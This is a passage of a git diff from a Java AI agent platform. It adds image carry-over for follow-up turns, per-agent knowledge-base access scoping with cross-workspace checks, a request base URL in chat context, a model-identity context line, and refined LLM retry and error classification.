@@ public abstract class BaseAgent { if (mediaPath == null) { log.warn("[{}] {} file not found for attachment: {}, path: {}, mediaId: {}", agentName, isVideo ? "Video" : "Image", part.getFileName(), part.getPath(), part.getMediaId()); - skippedAttachments.add(part.getFileName() + "(文件未找到)"); + skippedAttachments.add(part.getFileName() + unresolvedAttachmentReason(part)); continue; } try { @@ -1083,6 +1106,52 @@ public abstract class BaseAgent { return new CurrentTurnUserMessage(built, decision); } + /** + * Concatenate the text parts of a message into the user's question, dropping + * image/file/media parts. Returns {@code null} when there is no usable text + * (e.g. an image-only IM message), which makes the caption fall back to the + * generic full-description prompt. + */ + private static String extractUserQuestion(List parts) { + if (parts == null || parts.isEmpty()) return null; + StringBuilder sb = new StringBuilder(); + for (MessageContentPart part : parts) { + if (part == null || !"text".equals(part.getType())) continue; + String text = part.getText(); + if (text == null || text.isBlank()) continue; + if (sb.length() > 0) sb.append('\n'); + sb.append(text.trim()); + } + String question = sb.toString().trim(); + return question.isEmpty() ? null : question; + } + + /** + * True when an attachment has no resolvable local file and its only locator + * is a remote http(s) URL — i.e. the IM channel never downloaded it locally. + * For WeCom/aibot images that URL points at short-lived AES-encrypted bytes, + * so it is unusable as-is. Lets callers turn a generic "file not found" into + * an actionable hint instead of a dead end. + */ + private static boolean isRemoteOnlyAttachment(MessageContentPart part) { + if (part == null) return false; + if (part.getPath() != null && !part.getPath().isBlank()) return false; + String locator = part.getMediaId(); + if (locator == null || locator.isBlank()) locator = part.getFileUrl(); + return locator != null && (locator.startsWith("http://") || locator.startsWith("https://")); + } + + /** + * Reason string appended to a skipped attachment whose local file could not + * be resolved — distinguishes "never downloaded" (channel media download + * off) from a genuine missing-file so the user gets an actionable message. + */ + private static String unresolvedAttachmentReason(MessageContentPart part) { + return isRemoteOnlyAttachment(part) + ? "(图片未下载到本地,无法识别;请在「设置 → 渠道」开启该渠道的媒体下载)" + : "(文件未找到)"; + } + /** * Stable identifier for de-duplicating parts already handled by the sidecar * pass. Falls back across {@code path → mediaId → fileName} since not every @@ -1194,7 +1263,14 @@ public abstract class BaseAgent { if ("user".equals(msg.getRole())) { // 用 DB 中的实际内容(可能包含 contentParts),不用传入的 text String content = conversationService.renderMessageContent(msg); - return buildUserMessageForCurrentTurn(msg, content != null && !content.isBlank() ? content : userMessageText); + CurrentTurnUserMessage built = buildUserMessageForCurrentTurn( + msg, content != null && !content.isBlank() ? content : userMessageText); + // Vision-capable models replay history as text only, so a + // follow-up question about an earlier image would otherwise be + // answered blind. Re-attach the most recent image to this turn + // so the model actually re-sees it. (Text-only models instead + // rely on the persisted sidecar caption — see buildUserMessageInternal.) + return maybeCarryRecentImage(history, i, msg, built); } } } catch (Exception e) { @@ -1204,6 +1280,85 @@ public abstract class BaseAgent { return new CurrentTurnUserMessage(new UserMessage(userMessageText), null); } + /** How far back (in messages) to look for an image to carry into a follow-up turn. */ + private static final int CARRY_IMAGE_LOOKBACK = 8; + + /** + * For a vision-capable model, re-attach the most recent image from a recent + * earlier turn to the current user message when the current turn carries no + * image of its own. History is replayed as text only (see {@link #toSpringMessage}), + * so without this a follow-up like "what's in the top-left of that photo?" is + * answered blind. Bounded to a single image within {@link #CARRY_IMAGE_LOOKBACK} + * messages so a long conversation doesn't re-send pixels on every turn. + * + *

No-op (returns {@code built} unchanged) when: the model can't see images, + * the current turn already has an image, no recent image exists, or the recent + * image has no resolvable local file (e.g. an undownloaded channel URL). + */ + private CurrentTurnUserMessage maybeCarryRecentImage(List history, int currentIdx, + MessageEntity currentMsg, CurrentTurnUserMessage built) { + try { + if (built == null || !modelSupportsVision()) return built; + if (messageHasImagePart(currentMsg)) return built; // current turn already carries an image + + int from = Math.max(0, currentIdx - CARRY_IMAGE_LOOKBACK); + for (int j = currentIdx - 1; j >= from; j--) { + MessageEntity m = history.get(j); + if (m == null || !"user".equals(m.getRole())) continue; + List parts = conversationService.parseMessageParts(m); + for (int k = parts.size() - 1; k >= 0; k--) { + MessageContentPart part = parts.get(k); + if (!isResolvableImagePart(part)) continue; + Path imgPath = resolveImagePath(part.getPath()); + if (imgPath == null && part.getMediaId() != null) imgPath = resolveImagePath(part.getMediaId()); + if (imgPath == null) continue; + String contentType = part.getContentType(); + if (contentType == null || "image/*".equals(contentType)) contentType = "image/jpeg"; + try { + Media carried = new Media(MimeType.valueOf(contentType), new FileSystemResource(imgPath)); + UserMessage orig = built.userMessage(); + String name = part.getFileName() == null ? "image" : part.getFileName(); + String text = (orig.getText() == null ? "" : orig.getText()) + + "\n\n[系统提示] 以下图片是用户本次对话中较早发送的「" + name + + "」,当前问题很可能与它相关。请直接查看该图片作答,不要凭记忆猜测。"; + List media = new ArrayList<>(); + if (orig.getMedia() != null) media.addAll(orig.getMedia()); + media.add(carried); + log.debug("[{}] Carried recent image {} into follow-up turn for vision model", + agentName, name); + return new CurrentTurnUserMessage( + UserMessage.builder().text(text).media(media).build(), + built.routingDecision()); + } catch (Exception e) { + log.debug("[{}] Failed to carry recent image {}: {}", + agentName, part.getFileName(), e.getMessage()); + return built; + } + } + } + } catch (Exception e) { + log.debug("[{}] maybeCarryRecentImage failed: {}", agentName, e.getMessage()); + } + return built; + } + + private boolean messageHasImagePart(MessageEntity message) { + for (MessageContentPart part : conversationService.parseMessageParts(message)) { + if (isResolvableImagePart(part)) return true; + } + return false; + } + + /** An image part (not SVG) — the raster kind a multimodal API can ingest. */ + private static boolean isResolvableImagePart(MessageContentPart part) { + if (part == null) return false; + String type = part.getType(); + String contentType = part.getContentType(); + boolean isImage = ("image".equals(type) || "file".equals(type)) + && contentType != null && contentType.startsWith("image/"); + return isImage && !contentType.contains("svg"); + } + protected Path resolveImagePath(String relativePath) { if (relativePath == null || relativePath.isBlank()) { return null; diff --git a/mateclaw-server/src/main/java/vip/mate/agent/binding/controller/AgentBindingController.java b/mateclaw-server/src/main/java/vip/mate/agent/binding/controller/AgentBindingController.java index a4172b93..fccea4a5 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/binding/controller/AgentBindingController.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/binding/controller/AgentBindingController.java @@ -8,6 +8,7 @@ import vip.mate.agent.AgentService; import vip.mate.agent.binding.model.AgentProviderPreference; import vip.mate.agent.binding.model.AgentSkillBinding; import vip.mate.agent.binding.model.AgentToolBinding; +import vip.mate.agent.binding.model.AgentWikiKbBinding; import vip.mate.agent.binding.service.AgentBindingService; import vip.mate.agent.model.AgentEntity; import vip.mate.audit.service.AuditEventService; @@ -136,6 +137,32 @@ public class AgentBindingController { return R.ok(); } + // ==================== Knowledge Base Access Scope ==================== + + @Operation(summary = "获取 Agent 的知识库访问范围") + @GetMapping("/kbs") + @RequireWorkspaceRole("viewer") + public R> listKbs(@PathVariable Long agentId, + @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId) { + verifyAgentWorkspace(agentId, workspaceId); + return R.ok(bindingService.listKbBindings(agentId)); + } + + @Operation(summary = "批量设置 Agent 的知识库访问范围(替换模式,空表示不限制)") + @PutMapping("/kbs") + @RequireWorkspaceRole("member") + public R setKbs(@PathVariable Long agentId, @RequestBody List kbIds, + @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId) { + verifyAgentWorkspace(agentId, workspaceId); + bindingService.setKbBindings(agentId, kbIds); + agentService.invalidateAgentCache(agentId); + // A non-Vue caller can POST a bare `null`; the service tolerates it. + int count = kbIds == null ? 0 : kbIds.size(); + auditEventService.record("UPDATE", "AGENT_WIKI_KB", String.valueOf(agentId), + "kbs=" + count, null); + return R.ok(); + } + // ==================== Workspace Verification ==================== private void verifyAgentWorkspace(Long agentId, Long headerWorkspaceId) { diff --git a/mateclaw-server/src/main/java/vip/mate/agent/binding/model/AgentWikiKbBinding.java b/mateclaw-server/src/main/java/vip/mate/agent/binding/model/AgentWikiKbBinding.java new file mode 100644 index 00000000..aeedb8be --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/agent/binding/model/AgentWikiKbBinding.java @@ -0,0 +1,27 @@ +package vip.mate.agent.binding.model; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import java.time.LocalDateTime; + +/** + * Agent ↔ knowledge base access scope row. + *

+ * Each enabled row whitelists one KB for one agent. When an agent has at + * least one row the wiki tools restrict their visible KB set to the bound + * ones; an agent with no rows stays workspace-wide (legacy behavior). + */ +@Data +@TableName("mate_agent_wiki_kb") +public class AgentWikiKbBinding { + @TableId(type = IdType.ASSIGN_ID) + private Long id; + private Long agentId; + private Long kbId; + private Boolean enabled; + @TableField(fill = FieldFill.INSERT) + private LocalDateTime createTime; + @TableField(fill = FieldFill.INSERT_UPDATE) + private LocalDateTime updateTime; + private Integer deleted; +} diff --git a/mateclaw-server/src/main/java/vip/mate/agent/binding/repository/AgentWikiKbBindingMapper.java b/mateclaw-server/src/main/java/vip/mate/agent/binding/repository/AgentWikiKbBindingMapper.java new file mode 100644 index 00000000..0f7d911d --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/agent/binding/repository/AgentWikiKbBindingMapper.java @@ -0,0 +1,9 @@ +package vip.mate.agent.binding.repository; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import org.apache.ibatis.annotations.Mapper; +import vip.mate.agent.binding.model.AgentWikiKbBinding; + +@Mapper +public interface AgentWikiKbBindingMapper extends BaseMapper { +} diff --git a/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java b/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java index 834d9a62..68ebb40f 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java @@ -9,9 +9,11 @@ import org.springframework.stereotype.Service; import vip.mate.agent.binding.model.AgentProviderPreference; import vip.mate.agent.binding.model.AgentSkillBinding; import vip.mate.agent.binding.model.AgentToolBinding; +import vip.mate.agent.binding.model.AgentWikiKbBinding; import vip.mate.agent.binding.repository.AgentProviderPreferenceMapper; import vip.mate.agent.binding.repository.AgentSkillBindingMapper; import vip.mate.agent.binding.repository.AgentToolBindingMapper; +import vip.mate.agent.binding.repository.AgentWikiKbBindingMapper; import vip.mate.agent.model.AgentEntity; import vip.mate.agent.repository.AgentMapper; import vip.mate.exception.MateClawException; @@ -26,6 +28,8 @@ import vip.mate.skill.runtime.SkillRuntimeService; import vip.mate.skill.runtime.model.ResolvedSkill; import vip.mate.tool.model.AvailableToolDTO; import vip.mate.tool.service.AvailableToolService; +import vip.mate.wiki.model.WikiKnowledgeBaseEntity; +import vip.mate.wiki.repository.WikiKnowledgeBaseMapper; import java.time.Duration; import java.time.LocalDateTime; @@ -55,6 +59,17 @@ public class AgentBindingService implements AgentBindingResolver { private final AgentSkillBindingMapper skillBindingMapper; private final AgentToolBindingMapper toolBindingMapper; private final AgentProviderPreferenceMapper providerPreferenceMapper; + /** + * Agent ↔ KB access-scope rows. Plain mapper (no transitive deps), so it + * is safe to wire directly here without risking a boot-time cycle. + */ + private final AgentWikiKbBindingMapper kbBindingMapper; + /** + * Used only to verify a KB lives in the agent's workspace before pinning + * it. Like {@link #agentMapper}, a bare mapper avoids pulling the wiki + * service layer (and its dependency on agent binding) into this bean. + */ + private final WikiKnowledgeBaseMapper kbMapper; /** * {@code @Lazy} — SkillRuntimeService and AgentBindingService both sit * near the agent boot path; the lazy proxy avoids a circular bean @@ -93,6 +108,8 @@ public class AgentBindingService implements AgentBindingResolver { public AgentBindingService(AgentSkillBindingMapper skillBindingMapper, AgentToolBindingMapper toolBindingMapper, AgentProviderPreferenceMapper providerPreferenceMapper, + AgentWikiKbBindingMapper kbBindingMapper, + WikiKnowledgeBaseMapper kbMapper, @Lazy SkillRuntimeService skillRuntimeService, AvailableToolService availableToolService, AgentMapper agentMapper, @@ -101,6 +118,8 @@ public class AgentBindingService implements AgentBindingResolver { this.skillBindingMapper = skillBindingMapper; this.toolBindingMapper = toolBindingMapper; this.providerPreferenceMapper = providerPreferenceMapper; + this.kbBindingMapper = kbBindingMapper; + this.kbMapper = kbMapper; this.skillRuntimeService = skillRuntimeService; this.availableToolService = availableToolService; this.agentMapper = agentMapper; @@ -725,6 +744,11 @@ public class AgentBindingService implements AgentBindingResolver { "write_file", "edit_file", "execute_shell_command", + // Inline code execution — an agent-wide capability alongside shell. + // Lets any agent act on a documentation-only skill (a SKILL.md with + // no scripts) by writing and running the code its instructions + // describe. Dangerous code is screened by the same tool guard. + "execute_code", "detect_file_type", "extract_document_text", "extract_pdf_text", @@ -941,6 +965,123 @@ public class AgentBindingService implements AgentBindingResolver { } } + // ==================== Knowledge base access scope ==================== + + /** Raw scope rows for the agent edit form, oldest first. */ + public List listKbBindings(Long agentId) { + return kbBindingMapper.selectList( + new LambdaQueryWrapper() + .eq(AgentWikiKbBinding::getAgentId, agentId) + .orderByAsc(AgentWikiKbBinding::getCreateTime)); + } + + /** + * Effective KB ids the agent may see. Three states (mirror + * {@link #getBoundSkillIds}): + * + *

+ * + *

The {@code wiki_disabled} flag takes precedence over row count, so + * a stale (flag + leftover rows) combination still surfaces as "no KBs". + * Mirrors how {@code skills_disabled} interacts with + * {@link #getBoundSkillIds}. + */ + @Override + public Set getBoundKbIds(Long agentId) { + if (isWikiDisabled(agentId)) { + return Set.of(); + } + List bindings = listKbBindings(agentId); + if (bindings.isEmpty()) { + return null; + } + return bindings.stream() + .filter(b -> Boolean.TRUE.equals(b.getEnabled())) + .map(AgentWikiKbBinding::getKbId) + .filter(Objects::nonNull) + .collect(Collectors.toSet()); + } + + /** + * Replace the agent's KB access scope. An empty / null list clears the + * scope, returning the agent to workspace-wide (unrestricted) access. + * Every incoming KB must live in the agent's workspace — pinning a KB + * from another tenancy is refused (403). + */ + public void setKbBindings(Long agentId, List kbIds) { + // De-dup defensively: the unique index is (agent_id, kb_id, deleted), + // so two identical ids in the incoming list would collide on insert. + Set distinct = new LinkedHashSet<>(); + if (kbIds != null) { + for (Long kbId : kbIds) { + if (kbId != null) { + distinct.add(kbId); + } + } + } + // Validate the whole set BEFORE deleting anything, so a rejected id + // can't leave the agent half-scoped. + for (Long kbId : distinct) { + requireKbInAgentWorkspace(agentId, kbId); + } + // Auto-clear wiki_disabled on a non-empty save — same contract as + // setSkillBindings: a concrete KB commitment contradicts an opt-out + // flag, so the data layer must never hold both states at once. + if (!distinct.isEmpty()) { + clearWikiDisabledFlag(agentId); + } + kbBindingMapper.delete( + new LambdaQueryWrapper() + .eq(AgentWikiKbBinding::getAgentId, agentId)); + for (Long kbId : distinct) { + AgentWikiKbBinding row = new AgentWikiKbBinding(); + row.setAgentId(agentId); + row.setKbId(kbId); + row.setEnabled(true); + kbBindingMapper.insert(row); + } + } + + /** + * Refuse to scope an agent to a KB outside its workspace. KBs are + * workspace-shared artifacts ({@code mate_wiki_knowledge_base.workspace_id}); + * letting workspace A's agent pin workspace B's KB would cross the + * tenancy boundary the same way a cross-workspace skill binding would. + * A {@code null} workspace on either side is normalized to the default + * workspace (1) to match the rest of the codebase. + */ + private void requireKbInAgentWorkspace(Long agentId, Long kbId) { + if (agentId == null) { + throw new MateClawException("err.agent.not_found", 404, "Agent ID is required"); + } + AgentEntity agent = agentMapper.selectById(agentId); + if (agent == null) { + throw new MateClawException("err.agent.not_found", 404, "Agent 不存在: " + agentId); + } + WikiKnowledgeBaseEntity kb = kbMapper.selectById(kbId); + if (kb == null) { + throw new MateClawException("err.wiki.kb_not_found", 404, + "Knowledge base 不存在: " + kbId); + } + long agentWs = agent.getWorkspaceId() == null ? 1L : agent.getWorkspaceId(); + long kbWs = kb.getWorkspaceId() == null ? 1L : kb.getWorkspaceId(); + if (agentWs != kbWs) { + throw new MateClawException("err.wiki.cross_workspace_kb_binding", 403, + "Knowledge base " + kbId + " (workspace=" + kbWs + + ") cannot be scoped to Agent " + agentId + + " (workspace=" + agentWs + ")"); + } + } + // ==================== Binding-mode flags (V126) ==================== /** @@ -993,4 +1134,28 @@ public class AgentBindingService implements AgentBindingResolver { update.setToolsDisabled(false); agentMapper.updateById(update); } + + /** Mirror of {@link #isSkillsDisabled} for the wiki/knowledge-base opt-out toggle. */ + private boolean isWikiDisabled(Long agentId) { + if (agentId == null) return false; + AgentEntity agent = agentMapper.selectById(agentId); + return agent != null && Boolean.TRUE.equals(agent.getWikiDisabled()); + } + + /** + * Mirror of {@link #clearSkillsDisabledFlag} for the wiki toggle. Used as + * an auto-clear step in {@link #setKbBindings} so a concrete KB commitment + * always wins over a stale opt-out flag. + */ + private void clearWikiDisabledFlag(Long agentId) { + if (agentId == null) return; + AgentEntity agent = agentMapper.selectById(agentId); + if (agent == null || !Boolean.TRUE.equals(agent.getWikiDisabled())) { + return; + } + AgentEntity update = new AgentEntity(); + update.setId(agentId); + update.setWikiDisabled(false); + agentMapper.updateById(update); + } } diff --git a/mateclaw-server/src/main/java/vip/mate/agent/context/ChatOrigin.java b/mateclaw-server/src/main/java/vip/mate/agent/context/ChatOrigin.java index 6bc2a6c9..5e2e3a17 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/context/ChatOrigin.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/context/ChatOrigin.java @@ -58,7 +58,15 @@ public record ChatOrigin( * vs. group conversations. Null for 1:1 chats. Distinct from * {@link #channelTarget()} (which targets cron / proactive sends). */ - @Nullable String chatId + @Nullable String chatId, + /** + * Public base URL ({@code scheme://host[:port][/contextPath]}) resolved + * from the inbound HTTP request on the request thread. Carried here so + * tools running on async/streaming threads — where no request is bound — + * can still mint absolute download links. Null for IM/cron origins, which + * have no request host; those rely on {@code mateclaw.server.public-base-url}. + */ + @Nullable String baseUrl ) { /** Key used when this origin is wrapped into a Spring AI {@link ToolContext}. */ @@ -66,7 +74,7 @@ public record ChatOrigin( /** Sentinel used by AgentService default overloads where no origin is supplied. */ public static final ChatOrigin EMPTY = - new ChatOrigin(null, null, "", null, null, null, null, false, null, null, null); + new ChatOrigin(null, null, "", null, null, null, null, false, null, null, null, null); // ---------------- Factories per entry point ---------------- @@ -74,9 +82,17 @@ public record ChatOrigin( @Nullable String requesterId, @Nullable Long workspaceId, @Nullable String workspaceBasePath) { + return web(conversationId, requesterId, workspaceId, workspaceBasePath, null); + } + + public static ChatOrigin web(@Nullable String conversationId, + @Nullable String requesterId, + @Nullable Long workspaceId, + @Nullable String workspaceBasePath, + @Nullable String baseUrl) { return new ChatOrigin(null, conversationId, requesterId != null ? requesterId : "", - workspaceId, workspaceBasePath, null, null, false, null, "web", null); + workspaceId, workspaceBasePath, null, null, false, null, "web", null, baseUrl); } public static ChatOrigin cron(@Nullable String conversationId, @@ -85,7 +101,7 @@ public record ChatOrigin( @Nullable Long channelId, @Nullable ChannelTarget target) { return new ChatOrigin(null, conversationId, "system", - workspaceId, workspaceBasePath, channelId, target, true, null, null, null); + workspaceId, workspaceBasePath, channelId, target, true, null, null, null, null); } // ---------------- Wither-style updates ---------------- @@ -93,20 +109,27 @@ public record ChatOrigin( public ChatOrigin withAgent(@Nullable Long newAgentId) { return new ChatOrigin(newAgentId, conversationId, requesterId, workspaceId, workspaceBasePath, channelId, channelTarget, cronOrigin, - senderName, channelType, chatId); + senderName, channelType, chatId, baseUrl); } public ChatOrigin withWorkspace(@Nullable Long newWorkspaceId, @Nullable String newWorkspaceBasePath) { return new ChatOrigin(agentId, conversationId, requesterId, newWorkspaceId, newWorkspaceBasePath, channelId, channelTarget, cronOrigin, - senderName, channelType, chatId); + senderName, channelType, chatId, baseUrl); } public ChatOrigin withConversationId(@Nullable String newConversationId) { return new ChatOrigin(agentId, newConversationId, requesterId, workspaceId, workspaceBasePath, channelId, channelTarget, cronOrigin, - senderName, channelType, chatId); + senderName, channelType, chatId, baseUrl); + } + + /** Carry a request-derived public base URL (see {@link #baseUrl()}). */ + public ChatOrigin withBaseUrl(@Nullable String newBaseUrl) { + return new ChatOrigin(agentId, conversationId, requesterId, + workspaceId, workspaceBasePath, channelId, channelTarget, cronOrigin, + senderName, channelType, chatId, newBaseUrl); } /** @@ -120,7 +143,7 @@ public record ChatOrigin( @Nullable String newChatId) { return new ChatOrigin(agentId, conversationId, requesterId, workspaceId, workspaceBasePath, channelId, channelTarget, cronOrigin, - newSenderName, newChannelType, newChatId); + newSenderName, newChannelType, newChatId, baseUrl); } // ---------------- Spring AI ToolContext interop ---------------- diff --git a/mateclaw-server/src/main/java/vip/mate/agent/context/RuntimeContextInjector.java b/mateclaw-server/src/main/java/vip/mate/agent/context/RuntimeContextInjector.java index 7b3649b1..4f595be6 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/context/RuntimeContextInjector.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/context/RuntimeContextInjector.java @@ -67,6 +67,24 @@ public final class RuntimeContextInjector { public static String buildContextMessage(String workspaceBasePath, vip.mate.i18n.I18nService i18n, ChatOrigin origin) { + return buildContextMessage(workspaceBasePath, i18n, origin, null, null); + } + + /** + * Full overload that also renders the agent's runtime model identity. + * The model line is emitted for EVERY origin (web / cron / IM / null) + * because it describes the agent, not the caller — only the sender + * block stays IM-only. {@code modelName}/{@code providerId} come from + * graph state ({@code RUNTIME_MODEL_NAME}/{@code RUNTIME_PROVIDER_ID}), + * i.e. the model selected at run start (mid-run failover is not + * reflected — accepted trade-off). Stays well under the 1024-char + * spring-ai user-cache threshold. + */ + public static String buildContextMessage(String workspaceBasePath, + vip.mate.i18n.I18nService i18n, + ChatOrigin origin, + String modelName, + String providerId) { LocalDateTime now = LocalDateTime.now(ZONE); String dateStr = now.format(DATE_FMT); String timeStr = now.format(TIME_FMT); @@ -91,6 +109,7 @@ public final class RuntimeContextInjector { } appendSenderBlockIfPresent(sb, origin); + appendModelLineIfPresent(sb, modelName, providerId, i18n); return sb.toString(); } @@ -121,6 +140,33 @@ public final class RuntimeContextInjector { } } + /** + * Append the agent's runtime model identity. Emitted for all origins + * (it's an agent fact, not a sender fact). Skipped when modelName is + * blank. Provider parenthetical is omitted when providerId is blank. + */ + private static void appendModelLineIfPresent(StringBuilder sb, String modelName, + String providerId, + vip.mate.i18n.I18nService i18n) { + if (modelName == null || modelName.isBlank()) return; + String model = modelName.trim(); + sb.append("\n"); + if (i18n != null) { + sb.append(i18n.msg("context.model_identity", model)); + } else { + sb.append("[system-context] Model: ").append(model); + } + if (providerId != null && !providerId.isBlank()) { + sb.append(" (provider: ").append(providerId.trim()).append(')'); + } + sb.append("\n"); + if (i18n != null) { + sb.append(i18n.msg("context.model_identity_hint")); + } else { + sb.append("If asked which model you are using, answer with this value for the current run."); + } + } + /** * Append a sender / channel / chat block when the origin carries * meaningful IM context. Format is intentionally one line per diff --git a/mateclaw-server/src/main/java/vip/mate/agent/controller/AgentController.java b/mateclaw-server/src/main/java/vip/mate/agent/controller/AgentController.java index c38412a8..e3b77655 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/controller/AgentController.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/controller/AgentController.java @@ -12,7 +12,9 @@ import vip.mate.channel.web.Utf8SseEmitter; import vip.mate.agent.AgentService; import vip.mate.agent.AgentState; import vip.mate.agent.model.AgentEntity; +import vip.mate.agent.service.AgentGenerationService; import vip.mate.agent.vo.AgentCapabilitiesVO; +import vip.mate.agent.vo.AgentDraftVO; import vip.mate.audit.service.AuditEventService; import vip.mate.llm.model.ModelConfigEntity; import vip.mate.llm.service.ModelCapabilityService; @@ -51,6 +53,7 @@ public class AgentController { private final ModelConfigService modelConfigService; private final ModelCapabilityService modelCapabilityService; private final SystemSettingService systemSettingService; + private final AgentGenerationService agentGenerationService; private final ObjectMapper objectMapper; private final ExecutorService sseExecutor = Executors.newCachedThreadPool(); @@ -128,6 +131,16 @@ public class AgentController { } } + @Operation(summary = "根据一句话需求生成员工草稿(不落库)") + @PostMapping("/generate") + @RequireWorkspaceRole("member") + public R generate( + @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId, + @RequestBody GenerateRequest request) { + long wsId = workspaceId != null ? workspaceId : 1L; + return R.ok(agentGenerationService.generateDraft(request.getRequirement(), wsId)); + } + @Operation(summary = "创建Agent") @PostMapping @RequireWorkspaceRole("member") @@ -270,6 +283,11 @@ public class AgentController { private String conversationId = "default"; } + @lombok.Data + public static class GenerateRequest { + private String requirement; + } + /** * 校验目标资源实际归属的 workspace 与请求 header 一致。 * 防止 "在 workspace A 鉴权,操作 workspace B 资源" 的跨域攻击。 diff --git a/mateclaw-server/src/main/java/vip/mate/agent/graph/NodeStreamingChatHelper.java b/mateclaw-server/src/main/java/vip/mate/agent/graph/NodeStreamingChatHelper.java index cc3dd43c..b378c137 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/graph/NodeStreamingChatHelper.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/graph/NodeStreamingChatHelper.java @@ -350,25 +350,57 @@ public class NodeStreamingChatHelper { // provider during a rate-limit window wastes time without recovery. // SERVER_ERROR keeps MAX_RETRIES (upstream flaps often self-heal). static final int MAX_RETRIES_RATE_LIMIT = 2; - private static final long BACKOFF_BASE_MS = 3000; - private static final long BACKOFF_CAP_MS = 60_000; + // EMPTY_RESPONSE: transient gateway blip often resolves on same-model + // retry (e.g., proxy timeout returns HTTP 200 with empty body). Keep + // the cap low — if it truly takes 4+ attempts, the provider is sick. + static final int MAX_RETRIES_EMPTY_RESPONSE = 3; + // UNKNOWN: conservative retry cap. Defensive: retry what we can't + // classify, but with a smaller budget than SERVER_ERROR (5 vs 10) to + // avoid masking truly fatal errors. MAX_TOTAL_DURATION_MS is the + // ultimate safety net. + static final int MAX_RETRIES_UNKNOWN = 5; + // Hard time budget for the primary retry loop (3 min). Prevents + // retries from stalling a single conversation turn indefinitely. + // Aligned with WikiProcessingService.llmMaxTotalDurationMs. + // + // Because the backoff grows exponentially (3s, 6s, 12s, 24s, 48s, then + // capped at 60s), this wall-clock budget — not MAX_RETRIES — is what + // actually bounds a sustained SERVER_ERROR loop: only ~8 of the 10 + // retries fit inside 3 minutes before the elapsed-time check in + // streamCallInternal breaks to the fallback chain. + // + // These three values are instance fields seeded from the DEFAULT_* + // constants (rather than compile-time constants) so tests can shrink + // them to exercise the full retry path in milliseconds instead of + // minutes. Production wiring never overrides them — see + // setRetryTimingForTest. + private static final long DEFAULT_MAX_TOTAL_DURATION_MS = 3 * 60 * 1000L; + private static final long DEFAULT_BACKOFF_BASE_MS = 3000; + private static final long DEFAULT_BACKOFF_CAP_MS = 60_000; - private static final ObjectMapper TOOL_ARG_JSON_MAPPER = new ObjectMapper(); + private long maxTotalDurationMs = DEFAULT_MAX_TOTAL_DURATION_MS; + private long backoffBaseMs = DEFAULT_BACKOFF_BASE_MS; + private long backoffCapMs = DEFAULT_BACKOFF_CAP_MS; /** - * 判断错误是否可重试(基于状态码/异常类型) + * Test-only seam to shrink the retry backoff and total-time budget so the + * full {@link #MAX_RETRIES} path (or the time-budget cut-off) can be + * exercised in milliseconds instead of minutes. Package-private and never + * invoked from production wiring, which always keeps the {@code DEFAULT_*} + * timings. + * + * @param backoffBaseMs base backoff for the first retry (doubles each attempt) + * @param backoffCapMs per-attempt backoff ceiling + * @param maxTotalDurationMs hard wall-clock budget for the whole primary retry loop */ - private static boolean isRetryable(Throwable error) { - String msg = extractFullErrorChain(error); - // Kimi engine_overloaded / 标准 HTTP 错误 / 速率限制 - return msg.contains("engine_overloaded") - || msg.contains("rate_limit") || msg.contains("RateLimitError") - || msg.contains("429") || msg.contains("Too Many Requests") - || msg.contains("500") || msg.contains("502") || msg.contains("503") || msg.contains("504") - || msg.contains("APITimeoutError") || msg.contains("APIConnectionError") - || msg.contains("Connection reset") || msg.contains("Connection refused"); + void setRetryTimingForTest(long backoffBaseMs, long backoffCapMs, long maxTotalDurationMs) { + this.backoffBaseMs = backoffBaseMs; + this.backoffCapMs = backoffCapMs; + this.maxTotalDurationMs = maxTotalDurationMs; } + private static final ObjectMapper TOOL_ARG_JSON_MAPPER = new ObjectMapper(); + /** * 分类错误类型(用于分级重试和上层 Node 决策) */ @@ -384,7 +416,27 @@ public class NodeStreamingChatHelper { || msg.contains("请求体中的 input tokens 总数超出了模型允许")) { return ErrorType.PROMPT_TOO_LONG; } - // Auth errors + // Auth errors — keys, certs, DNS, TLS infrastructure. These will not + // self-heal on retry (a bad API key / expired cert / wrong host won't + // suddenly become valid), so classify as AUTH_ERROR to terminate the + // retry loop and hand off to the fallback chain. + // Infrastructure-level permanent failures checked first: + // DNS resolution (UnknownHostException) — misconfigured endpoint + // TLS certificate (CertificateException, SSLPeerUnverifiedException, + // pkix path building failed, certificate verify failed) — expired + // or untrusted certs that cannot recover without human intervention + if (msg.contains("UnknownHostException") + || msg.contains("CertificateException") + || msg.contains("SSLPeerUnverifiedException") + // Java's ValidatorException emits "PKIX path building failed" with an + // uppercase PKIX, and the error chain is not lower-cased — the pattern + // must match the real casing, otherwise the fatal cert failure falls + // through to the retryable SERVER_ERROR bucket and is retried in vain. + || msg.contains("PKIX path building failed") + || msg.contains("certificate verify failed") + || msg.contains("certificate_unknown")) { + return ErrorType.AUTH_ERROR; + } if (msg.contains("401") || msg.contains("Unauthorized") || msg.contains("Invalid API Key") || msg.contains("authentication") || msg.contains("AuthenticationError")) { return ErrorType.AUTH_ERROR; @@ -404,11 +456,17 @@ public class NodeStreamingChatHelper { // a different provider may have credits, so we should fall back instead of // terminating the call. Both OpenAI ("insufficient_quota") and Anthropic // ("credit balance is too low") use these phrases in 402-class responses. + // Chinese provider patterns (Zhipu 1113, DashScope, general) — same hard + // failure semantics: retrying the same provider won't refill the balance. if (msg.contains("402") || msg.contains("insufficient_quota") || msg.contains("credit balance is too low") || msg.contains("billing_error") || msg.contains("billing_hard_limit_reached") || msg.contains("You exceeded 